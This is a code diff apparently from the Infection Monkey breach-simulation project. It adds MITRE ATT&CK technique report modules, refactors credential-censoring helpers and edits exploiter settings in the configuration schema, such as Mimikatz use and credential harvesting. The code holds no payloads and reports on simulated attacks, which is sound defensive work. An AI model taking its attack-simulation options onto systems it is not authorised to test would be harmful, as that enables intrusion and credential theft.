a/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py new file mode 100644 index 000000000..2750c953c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1035.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique + +__author__ = "VakarisZ" + + +class T1035(UsageTechnique): + tech_id = "T1035" + unscanned_msg = "Monkey didn't try to interact with Windows services." + scanned_msg = "Monkey tried to interact with Windows services, but failed." + used_msg = "Monkey successfully interacted with Windows services." + + @staticmethod + def get_report_data(): + data = T1035.get_tech_base_data() + data.update({'services': T1035.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py new file mode 100644 index 000000000..1342b646e --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1041(AttackTechnique): + + tech_id = "T1041" + unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel." + scanned_msg = "" + used_msg = "Monkey exfiltrated info trough command and control channel." + + @staticmethod + def get_report_data(): + monkeys = list(Monkey.objects()) + info = [{'src': monkey['command_control_channel']['src'], + 'dst': monkey['command_control_channel']['dst']} + for monkey in monkeys if monkey['command_control_channel']] + if info: + status = ScanStatus.USED.value + else: + status = ScanStatus.UNSCANNED.value + data = T1041.get_base_data_by_status(status) + data.update({'command_control_channel': info}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py index 328c11112..ef15dd9fd 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py @@ -27,8 +27,8 @@ class T1059(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1059.query)) data = {'title': T1059.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1059.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py new file mode 100644 index 000000000..0b1b05489 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1064.py @@ -0,0 +1,18 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1064(UsageTechnique): + tech_id = "T1064" + unscanned_msg = "Monkey didn't run scripts or tried to run and failed." + scanned_msg = "" + used_msg = "Monkey ran scripts on machines in the network." + + @staticmethod + def get_report_data(): + data = T1064.get_tech_base_data() + script_usages = list(mongo.db.telemetry.aggregate(T1064.get_usage_query())) + data.update({'scripts': script_usages}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py index fd34e80e9..7d8ceb93e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py @@ -17,4 +17,4 @@ class T1065(AttackTechnique): def get_report_data(): port = ConfigService.get_config_value(['cnc', 'servers', 'current_server']).split(':')[1] T1065.used_msg = T1065.message % port - return T1065.get_base_data_by_status(ScanStatus.USED) + return T1065.get_base_data_by_status(ScanStatus.USED.value) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py index fa65a66c2..623d157ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py @@ -35,10 +35,10 @@ class T1075(AttackTechnique): successful_logins = list(mongo.db.telemetry.aggregate(T1075.query)) data.update({'successful_logins': successful_logins}) if successful_logins: - status = ScanStatus.USED + status = ScanStatus.USED.value elif mongo.db.telemetry.count_documents(T1075.login_attempt_query): - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1075.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py index 79020c048..bc2645bb9 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py @@ -12,7 +12,7 @@ class T1082(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered system info from machines in the network." - query = [{'$match': {'telem_category': 'system_info_collection'}}, + query = [{'$match': {'telem_category': 'system_info'}}, {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, 'aws': '$data.aws', 'netstat': '$data.network_info.netstat', @@ -32,7 +32,9 @@ class T1082(AttackTechnique): 'name': {'$literal': 'SSH info'}}, {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]}, 'name': {'$literal': 'Azure info'}} - ]}}] + ]}}, + {'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] @staticmethod def get_report_data(): @@ -40,8 +42,8 @@ class T1082(AttackTechnique): system_info = list(mongo.db.telemetry.aggregate(T1082.query)) data.update({'system_info': system_info}) if system_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1082.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 4114047c5..dd5d64d25 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -29,8 +29,8 @@ class T1086(AttackTechnique): cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) data = {'title': T1086.technique_title(), 'cmds': cmd_data} if cmd_data: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1086.get_message_and_status(status)) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py new file mode 100644 index 000000000..7a6c830b8 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py @@ -0,0 +1,24 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.models import Monkey + +__author__ = "VakarisZ" + + +class T1090(AttackTechnique): + + tech_id = "T1090" + unscanned_msg = "Monkey didn't use connection proxy." + scanned_msg = "" + used_msg = "Monkey used connection proxy to communicate with machines on the network." + + @staticmethod + def get_report_data(): + monkeys = Monkey.get_tunneled_monkeys() + monkeys = [monkey.get_network_info() for monkey in monkeys] + status = ScanStatus.USED.value if monkeys else ScanStatus.UNSCANNED.value + data = T1090.get_base_data_by_status(status) + data.update({'proxies': monkeys}) + return data + + diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py new file mode 100644 index 000000000..3d95fd88d --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py @@ -0,0 +1,27 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.database import mongo + +__author__ = "VakarisZ" + + +class T1105(AttackTechnique): + + tech_id = "T1105" + unscanned_msg = "Monkey didn't try to copy files to any systems." + scanned_msg = "Monkey tried to copy files, but failed." + used_msg = "Monkey successfully copied files to systems on the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': tech_id}}, + {'$project': {'_id': 0, + 'src': '$data.src', + 'dst': '$data.dst', + 'filename': '$data.filename'}}, + {'$group': {'_id': {'src': '$src', 'dst': '$dst', 'filename': '$filename'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1105.get_tech_base_data() + data.update({'files': list(mongo.db.telemetry.aggregate(T1105.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py new file mode 100644 index 000000000..d07a66038 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1106.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique + +__author__ = "VakarisZ" + + +class T1106(UsageTechnique): + tech_id = "T1106" + unscanned_msg = "Monkey didn't try to directly use WinAPI." + scanned_msg = "Monkey tried to use WinAPI, but failed." + used_msg = "Monkey successfully used WinAPI." + + @staticmethod + def get_report_data(): + data = T1106.get_tech_base_data() + data.update({'api_uses': T1106.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py new file mode 100644 index 000000000..9448c2e6b --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1107.py @@ -0,0 +1,32 @@ +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1107(AttackTechnique): + tech_id = "T1107" + unscanned_msg = "" + scanned_msg = "Monkey tried to delete files on systems in the network, but failed." + used_msg = "Monkey successfully deleted files on systems in the network." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1107'}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'path': '$data.path'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'path': '$path'}}}] + + @staticmethod + def get_report_data(): + data = T1107.get_tech_base_data() + deleted_files = list(mongo.db.telemetry.aggregate(T1107.query)) + data.update({'deleted_files': deleted_files}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py index a9bd24e70..72bb0af76 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py @@ -1,7 +1,7 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.attack.technique_reports import AttackTechnique from common.utils.attack_utils import ScanStatus -from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds __author__ = "VakarisZ" @@ -32,14 +32,14 @@ class T1110(AttackTechnique): result['successful_creds'] = [] for attempt in result['attempts']: succeeded = True - result['successful_creds'].append(T1110.parse_creds(attempt)) + result['successful_creds'].append(parse_creds(attempt)) if succeeded: - status = ScanStatus.USED + status = ScanStatus.USED.value elif attempts: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1110.get_base_data_by_status(status) # Remove data with no successful brute force attempts attempts = [attempt for attempt in attempts if attempt['attempts']] @@ -47,47 +47,4 @@ class T1110(AttackTechnique): data.update({'services': attempts}) return data - @staticmethod - def parse_creds(attempt): - """ - Parses used credentials into a string - :param attempt: login attempt from database - :return: string with username and used password/hash - """ - username = attempt['user'] - creds = {'lm_hash': {'type': 'LM hash', 'output': T1110.censor_hash(attempt['lm_hash'])}, - 'ntlm_hash': {'type': 'NTLM hash', 'output': T1110.censor_hash(attempt['ntlm_hash'], 20)}, - 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, - 'password': {'type': 'Plaintext password', 'output': T1110.censor_password(attempt['password'])}} - for key, cred in list(creds.items()): - if attempt[key]: - return '%s ; %s : %s' % (username, - cred['type'], - cred['output']) - @staticmethod - def censor_password(password, plain_chars=3, secret_chars=5): - """ - Decrypts and obfuscates password by changing characters to * - :param password: Password or string to obfuscate - :param plain_chars: How many plain-text characters should be kept at the start of the string - :param secret_chars: How many * symbols should be used to hide the remainder of the password - :return: Obfuscated string e.g. Pass**** - """ - if not password: - return "" - password = encryptor.dec(password) - return password[0:plain_chars] + '*' * secret_chars - - @staticmethod - def censor_hash(hash_, plain_chars=5): - """ - Decrypts and obfuscates hash by only showing a part of it - :param hash_: Hash to obfuscate - :param plain_chars: How many chars of hash should be shown - :return: Obfuscated string - """ - if not hash_: - return "" - hash_ = encryptor.dec(hash_) - return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py new file mode 100644 index 000000000..5f87faabb --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique + +__author__ = "VakarisZ" + + +class T1129(UsageTechnique): + tech_id = "T1129" + unscanned_msg = "Monkey didn't try to load any DLL's." + scanned_msg = "Monkey tried to load DLL's, but failed." + used_msg = "Monkey successfully loaded DLL's using Windows module loader." + + @staticmethod + def get_report_data(): + data = T1129.get_tech_base_data() + data.update({'dlls': T1129.get_usage_data()}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 9b525873f..c4e5691ff 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -12,7 +12,7 @@ class T1145(AttackTechnique): used_msg = "Monkey found ssh keys on machines in the network." # Gets data about ssh keys found - query = [{'$match': {'telem_category': 'system_info_collection', + query = [{'$match': {'telem_category': 'system_info', 'data.ssh_info': {'$elemMatch': {'private_key': {'$exists': True}}}}}, {'$project': {'_id': 0, 'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'}, @@ -23,9 +23,9 @@ class T1145(AttackTechnique): ssh_info = list(mongo.db.telemetry.aggregate(T1145.query)) if ssh_info: - status = ScanStatus.USED + status = ScanStatus.USED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data = T1145.get_base_data_by_status(status) data.update({'ssh_info': ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py new file mode 100644 index 000000000..32187696a --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -0,0 +1,32 @@ +from monkey_island.cc.services.attack.technique_reports import AttackTechnique +from monkey_island.cc.models.monkey import Monkey +from common.utils.attack_utils import ScanStatus + +__author__ = "VakarisZ" + + +class T1188(AttackTechnique): + + tech_id = "T1188" + unscanned_msg = "Monkey didn't use multi-hop proxy." + scanned_msg = "" + used_msg = "Monkey used multi-hop proxy." + + @staticmethod + def get_report_data(): + monkeys = Monkey.get_tunneled_monkeys() + hops = [] + for monkey in monkeys: + proxy_count = 0 + proxy = initial = monkey + while proxy.tunnel: + proxy_count += 1 + proxy = proxy.tunnel + if proxy_count > 1: + hops.append({'from': initial.get_network_info(), + 'to': proxy.get_network_info(), + 'count': proxy_count}) + status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value + data = T1188.get_base_data_by_status(status) + data.update({'hops': hops}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 6e89bc6ab..eeae183f5 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -18,11 +18,11 @@ class T1210(AttackTechnique): scanned_services = T1210.get_scanned_services() exploited_services = T1210.get_exploited_services() if exploited_services: - status = ScanStatus.USED + status = ScanStatus.USED.value elif scanned_services: - status = ScanStatus.SCANNED + status = ScanStatus.SCANNED.value else: - status = ScanStatus.UNSCANNED + status = ScanStatus.UNSCANNED.value data.update(T1210.get_message_and_status(status)) data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py new file mode 100644 index 000000000..940c9e8ea --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -0,0 +1,24 @@ +from common.utils.attack_utils import ScanStatus +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique + +__author__ = "VakarisZ" + + +class T1222(AttackTechnique): + tech_id = "T1222" + unscanned_msg = "Monkey didn't try to change any file permissions." + scanned_msg = "Monkey tried to change file permissions, but failed." + used_msg = "Monkey successfully changed file permissions in network systems." + + query = [{'$match': {'telem_category': 'attack', + 'data.technique': 'T1222', + 'data.status': ScanStatus.USED.value}}, + {'$group': {'_id': {'machine': '$data.machine', 'status': '$data.status', 'command': '$data.command'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] + + @staticmethod + def get_report_data(): + data = T1222.get_tech_base_data() + data.update({'commands': list(mongo.db.telemetry.aggregate(T1222.query))}) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index cc4d13355..b5f100bd1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -1,10 +1,13 @@ import abc +import logging from monkey_island.cc.database import mongo from common.utils.attack_utils import ScanStatus from monkey_island.cc.services.attack.attack_config import AttackConfig from common.utils.code_utils import abstractstatic +logger = logging.getLogger(__name__) + class AttackTechnique(object, metaclass=abc.ABCMeta): """ Abstract class for ATT&CK report components """ @@ -49,38 +52,38 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): def technique_status(cls): """ Gets the status of a certain attack technique. - :return: ScanStatus Enum object + :return: ScanStatus numeric value """ - if mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.USED.value, - 'technique': cls.tech_id}): - return ScanStatus.USED - elif mongo.db.attack_results.find_one({'telem_category': 'attack', - 'status': ScanStatus.SCANNED.value, - 'technique': cls.tech_id}): - return ScanStatus.SCANNED + if mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.USED.value, + 'data.technique': cls.tech_id}): + return ScanStatus.USED.value + elif mongo.db.telemetry.find_one({'telem_category': 'attack', + 'data.status': ScanStatus.SCANNED.value, + 'data.technique': cls.tech_id}): + return ScanStatus.SCANNED.value else: - return ScanStatus.UNSCANNED + return ScanStatus.UNSCANNED.value @classmethod def get_message_and_status(cls, status): """ Returns a dict with attack technique's message and status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {'message': cls.get_message_by_status(status), 'status': status.name} + return {'message': cls.get_message_by_status(status), 'status': status} @classmethod def get_message_by_status(cls, status): """ Picks a message to return based on status. - :param status: Enum type value from common/attack_utils.py + :param status: Enum from common/attack_utils.py integer value :return: message string """ - if status == ScanStatus.UNSCANNED: + if status == ScanStatus.UNSCANNED.value: return cls.unscanned_msg - elif status == ScanStatus.SCANNED: + elif status == ScanStatus.SCANNED.value: return cls.scanned_msg else: return cls.used_msg @@ -96,12 +99,12 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): def get_tech_base_data(cls): """ Gathers basic attack technique data into a dict. - :return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'} + :return: dict E.g. {'message': 'Brute force used', 'status': 2, 'title': 'T1110 Brute force'} """ data = {} status = cls.technique_status() title = cls.technique_title() - data.update({'status': status.name, + data.update({'status': status, 'title': title, 'message': cls.get_message_by_status(status)}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py new file mode 100644 index 000000000..05cef3684 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -0,0 +1,46 @@ +from monkey_island.cc.encryptor import encryptor + + +def parse_creds(attempt): + """ + Parses used credentials into a string + :param attempt: login attempt from database + :return: string with username and used password/hash + """ + username = attempt['user'] + creds = {'lm_hash': {'type': 'LM hash', 'output': censor_hash(attempt['lm_hash'])}, + 'ntlm_hash': {'type': 'NTLM hash', 'output': censor_hash(attempt['ntlm_hash'], 20)}, + 'ssh_key': {'type': 'SSH key', 'output': attempt['ssh_key']}, + 'password': {'type': 'Plaintext password', 'output': censor_password(attempt['password'])}} + for key, cred in creds.items(): + if attempt[key]: + return '%s ; %s : %s' % (username, + cred['type'], + cred['output']) + + +def censor_password(password, plain_chars=3, secret_chars=5): + """ + Decrypts and obfuscates password by changing characters to * + :param password: Password or string to obfuscate + :param plain_chars: How many plain-text characters should be kept at the start of the string + :param secret_chars: How many * symbols should be used to hide the remainder of the password + :return: Obfuscated string e.g. Pass**** + """ + if not password: + return "" + password = encryptor.dec(password) + return password[0:plain_chars] + '*' * secret_chars + + +def censor_hash(hash_, plain_chars=5): + """ + Decrypts and obfuscates hash by only showing a part of it + :param hash_: Hash to obfuscate + :param plain_chars: How many chars of hash should be shown + :return: Obfuscated string + """ + if not hash_: + return "" + hash_ = encryptor.dec(hash_) + return hash_[0: plain_chars] + ' ...' diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py new file mode 100644 index 000000000..69f178e1c --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -0,0 +1,53 @@ +import abc + +from monkey_island.cc.database import mongo +from monkey_island.cc.services.attack.technique_reports import AttackTechnique, logger +from common.utils.attack_utils import UsageEnum + + +class UsageTechnique(AttackTechnique): + __metaclass__ = abc.ABCMeta + + @staticmethod + def parse_usages(usage): + """ + Parses data from database and translates usage enums into strings + :param usage: Usage telemetry that contains fields: {'usage': 'SMB', 'status': 1} + :return: usage string + """ + try: + usage['usage'] = UsageEnum[usage['usage']].value[usage['status']] + except KeyError: + logger.error("Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses.") + return usage + + @classmethod + def get_usage_data(cls): + """ + Gets data of usage attack telemetries + :return: parsed list of usages from attack telemetries of usage type + """ + data = list(mongo.db.telemetry.aggregate(cls.get_usage_query())) + return list(map(cls.parse_usages, data)) + + @classmethod + def get_usage_query(cls): + """ + :return: Query that parses attack telemetries for a simple report component + (gets machines and attack technique usage). + """ + return [{'$match': {'telem_category': 'attack', + 'data.technique': cls.tech_id}}, + {'$lookup': {'from': 'monkey', + 'localField': 'monkey_guid', + 'foreignField': 'guid', + 'as': 'monkey'}}, + {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]}, + 'status': '$data.status', + 'usage': '$data.usage'}}, + {'$addFields': {'_id': 0, + 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'}, + 'monkey': 0}}, + {'$group': {'_id': {'machine': '$machine', 'status': '$status', 'usage': '$usage'}}}, + {"$replaceRoot": {"newRoot": "$_id"}}] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 333c42263..621c9badf 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -14,7 +14,7 @@ SCHEMA = { "SmbExploiter" ], "title": "SMB Exploiter", - "attack_techniques": ["T1110", "T1075"] + "attack_techniques": ["T1110", "T1075", "T1035"] }, { "type": "string", @@ -22,7 +22,7 @@ SCHEMA = { "WmiExploiter" ], "title": "WMI Exploiter", - "attack_techniques": ["T1110"] + "attack_techniques": ["T1110", "T1106"] }, { "type": "string", @@ -32,14 +32,6 @@ SCHEMA = { "title": "MSSQL Exploiter", "attack_techniques": ["T1110"] }, - { - "type": "string", - "enum": [ - "RdpExploiter" - ], - "title": "RDP Exploiter (UNSAFE)", - "attack_techniques": [] - }, { "type": "string", "enum": [ @@ -54,7 +46,7 @@ SCHEMA = { "SSHExploiter" ], "title": "SSH Exploiter", - "attack_techniques": ["T1110", "T1145"] + "attack_techniques": ["T1110", "T1145", "T1106"] }, { "type": "string", @@ -119,6 +111,14 @@ SCHEMA = { "title": "Back door user", "attack_techniques": [] }, + { + "type": "string", + "enum": [ + "CommunicateAsNewUser" + ], + "title": "Communicate as new user", + "attack_techniques": [] + }, ], }, "finger_classes": { @@ -337,6 +337,7 @@ SCHEMA = { "$ref": "#/definitions/post_breach_acts" }, "default": [ + "CommunicateAsNewUser" ], "description": "List of actions the Monkey will run post breach" }, @@ -414,7 +415,7 @@ SCHEMA = { "title": "Harvest Azure Credentials", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determine if the Monkey should try to harvest password credentials from Azure VMs" }, @@ -422,14 +423,14 @@ SCHEMA = { "title": "Collect system info", "type": "boolean", "default": True, - "attack_techniques": ["T1082"], + "attack_techniques": ["T1082", "T1005", "T1016"], "description": "Determines whether to collect system info" }, "should_use_mimikatz": { "title": "Should use Mimikatz", "type": "boolean", "default": True, - "attack_techniques": ["T1003", "T1078"], + "attack_techniques": ["T1003"], "description": "Determines whether to use Mimikatz" }, } @@ -791,19 +792,6 @@ SCHEMA = { } } }, - "rdp_grinder": { - "title": "RDP grinder", - "type": "object", - "properties": { - "rdp_use_vbs_download": { - "title": "Use VBS download", - "type": "boolean", - "default": True, - "description": "Determines whether to use VBS or BITS to download monkey to remote machine" - " (true=VBS, false=BITS)" - } - } - }, "sambacry": { "title": "SambaCry", "type": "object", diff --git a/monkey/monkey_island/cc/services/configuration/__init__.py b/monkey/monkey_island/cc/services/configuration/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/configuration/utils.py b/monkey/monkey_island/cc/services/configuration/utils.py new file mode 100644 index 000000000..34d6a9bb5 --- /dev/null +++ b/monkey/monkey_island/cc/services/configuration/utils.py @@ -0,0 +1,5 @@ +from monkey_island.cc.services.config import ConfigService + + +def get_config_network_segments_as_subnet_groups(): + return [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 9da76b358..2c75d7187 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -247,6 +247,12 @@ class NodeService: {'$set': props_to_set}, upsert=False) + @staticmethod + def add_communication_info(monkey, info): + mongo.db.monkey.update({"guid": monkey["guid"]}, + {"$set": {'command_control_channel': info}}, + upsert=False) + @staticmethod def get_monkey_island_monkey(): ip_addresses = local_ip_addresses() diff --git a/monkey/monkey_island/cc/services/reporting/__init__.py b/monkey/monkey_island/cc/services/reporting/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py similarity index 95% rename from monkey/monkey_island/cc/resources/aws_exporter.py rename to monkey/monkey_island/cc/services/reporting/aws_exporter.py index 7e1f17c48..84940df56 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py @@ -7,7 +7,7 @@ from botocore.exceptions import UnknownServiceError from common.cloud.aws_instance import AwsInstance from monkey_island.cc.environment.environment import load_server_configuration_from_file -from monkey_island.cc.resources.exporter import Exporter +from monkey_island.cc.services.reporting.exporter import Exporter __authors__ = ['maor.rayzin', 'shay.nehmad'] @@ -58,7 +58,6 @@ class AWSExporter(Exporter): 'wmi_password': AWSExporter._handle_wmi_password_issue, 'wmi_pth': AWSExporter._handle_wmi_pth_issue, 'ssh_key': AWSExporter._handle_ssh_key_issue, - 'rdp': AWSExporter._handle_rdp_issue, 'shared_passwords_domain': AWSExporter._handle_shared_passwords_domain_issue, 'shared_admins_domain': AWSExporter._handle_shared_admins_domain_issue, 'strong_users_on_crit': AWSExporter._handle_strong_users_on_crit_issue, @@ -305,20 +304,6 @@ class AWSExporter(Exporter): instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None ) - @staticmethod - def _handle_rdp_issue(issue, instance_arn): - - return AWSExporter._build_generic_finding( - severity=1, - title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.", - description="Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format( - issue['username']), - recommendation="The machine machine ({ip_address}) is vulnerable to a RDP attack. The Monkey authenticated over the RDP protocol with user {username} and its password.".format( - machine=issue['machine'], ip_address=issue['ip_address'], username=issue['username']), - instance_arn=instance_arn, - instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None - ) - @staticmethod def _handle_shared_passwords_domain_issue(issue, instance_arn): diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/services/reporting/exporter.py similarity index 100% rename from monkey/monkey_island/cc/resources/exporter.py rename to monkey/monkey_island/cc/services/reporting/exporter.py diff --git a/monkey/monkey_island/cc/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py similarity index 60% rename from monkey/monkey_island/cc/exporter_init.py rename to 